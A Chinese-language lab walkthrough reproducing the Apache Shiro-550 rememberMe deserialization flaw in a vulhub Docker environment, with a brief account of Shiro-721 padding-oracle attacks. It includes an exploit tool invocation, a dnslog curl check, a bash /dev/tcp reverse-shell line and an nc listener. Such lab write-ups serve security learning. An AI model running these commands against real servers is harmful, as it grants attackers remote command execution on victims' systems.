Shiro550和Shiro721漏洞复现
Shiro是个啥
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。
Shiro rememberMe反序列化漏洞(Shiro-550)
漏洞原理
在登录框有一个 remember me(记住密码)的功能,用户的登录信息加密后存储在remember me的Cookie中。攻击者可以使用shiro默认密钥伪造用户Cookie,触发java反序列化漏洞,进而在目标机器上执行任意命令
cookie处理流程:cookie值 – Base64解码 – AES解密 – 反序列化
用了AES加密的密钥,此密钥被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥
payload产生过程
payload – 序列化 – AES加密 – Base64加密 – 发送cookie
环境搭建
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
漏洞验证
Shiro特征:
登录时,点击记住密码,利用burpsuite抓包验证,看返回结果是否有rememberMe=deleteMe
漏洞利用
1.使用shiro_rce工具包
https://github.com/wyzxxz/shiro_rce
运行工具
java -jar shiro_tool.jar http://192.168.3.151:8080
通过http://www.dnslog.cn/随机获得一个dns
然后在脚本中运行
curl 96it7w.dnslog.cn
解析出来了
然后构造反弹shell
bash -i >& /dev/tcp/192.168.3.151/8080 0>&1
https://x.hacking8.com/?post=293 加密
nc连接
nc -lvvp 8888
扔进工具里
成功
Shiro PADDING ORACLE ATTACK漏洞(Shiro-721)
漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。